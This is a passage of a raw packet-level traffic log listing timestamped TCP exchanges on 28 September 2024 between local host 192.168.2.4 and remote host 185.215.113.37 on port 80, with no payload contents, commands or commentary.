Sep 28, 2024 10:19:12.392635107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392698050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392731905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392765045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392767906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392787933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392798901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392800093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392843962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392904997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.392947912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.392967939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393013954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393084049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393114090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393129110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393153906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393162966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393199921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393208027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393244028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393335104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393378019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393384933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393419981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393425941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393451929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393465042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393486023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393488884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393528938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393606901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393634081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393652916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393666983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393676996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393702984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393712044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393733025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393744946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393770933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393779993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393815994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393908978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393942118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393954039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.393975019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.393980980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394021988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394042015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394089937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394179106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394212961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394223928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394246101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394253969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394279957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394289017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394315004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394323111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394349098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394356966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394382000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394387007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394417048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394423962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394459009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394856930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394890070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394902945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394923925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394938946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.394958973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.394964933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395000935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395006895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395034075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395039082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395067930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395076990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395101070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395107985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395134926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395143986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395169973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395176888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395212889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395512104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395544052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395565033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395582914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395674944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395710945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395723104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395754099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395761967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395798922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395812988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395845890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395853996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395879030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395883083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395914078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395920992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395948887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395957947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.395983934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.395991087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396017075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396025896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396051884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396059036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396085024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396094084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396130085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396625996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396670103 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396680117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396713972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396723032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396748066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396759033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396781921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396791935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396816015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396822929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396850109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396861076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396883965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396892071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396919012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396927118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396953106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.396958113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396994114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.396997929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397032022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397044897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397073984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397527933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397561073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397576094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397593975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397604942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397636890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397644997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397677898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397687912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397712946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397727013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397747040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397756100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397782087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397795916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397816896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397824049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397850990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397860050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397883892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397897959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397918940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397926092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397952080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.397962093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.397995949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.398523092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.398556948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.398571968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.398590088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.398602962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.398622990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.398622990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.398657084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.398663044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.398691893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.398700953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.398734093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525103092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525144100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525160074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525223970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525254965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525310993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525325060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525341034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525356054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525381088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525408983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525541067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525557041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525572062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525585890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525595903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525602102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525624037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525655031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525830030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525851011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525866985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525881052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525882959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.525911093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.525938988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526088953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526106119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526120901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526133060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526140928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526151896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526164055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526217937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526390076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526405096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526421070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526434898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526443005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526452065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526453018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526469946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526484966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526531935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526531935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526531935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526743889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526765108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526779890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526798010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526808977 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526824951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526839018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526854992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526863098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526874065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526887894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526887894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526890993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526900053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526906013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.526930094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.526958942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527328968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527343035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527378082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527405024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527489901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527512074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527527094 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527533054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527544975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527554989 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527560949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527575970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527575970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527592897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527600050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527609110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527625084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527626038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527640104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527654886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527657032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527674913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527681112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.527698994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.527730942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528364897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528381109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528394938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528407097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528417110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528423071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528429985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528439999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528455973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528458118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528474092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528487921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528489113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528506994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528517008 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528522015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528537989 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528537989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528557062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528573990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.528573990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528604984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.528620958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529280901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529298067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529311895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529326916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529331923 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529342890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529355049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529357910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529373884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529388905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529390097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529403925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529405117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529422045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529433966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529437065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529453039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529463053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529468060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529479027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529484034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.529510021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.529535055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530179024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530195951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530210018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530225039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530240059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530255079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530256987 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530271053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530287027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530301094 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530303001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530312061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530317068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530332088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530333996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530350924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.530361891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530380011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.530407906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:12.657721996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.657761097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:12.657814980 CEST	80	49730	185.215.113.37	192.168.2.4
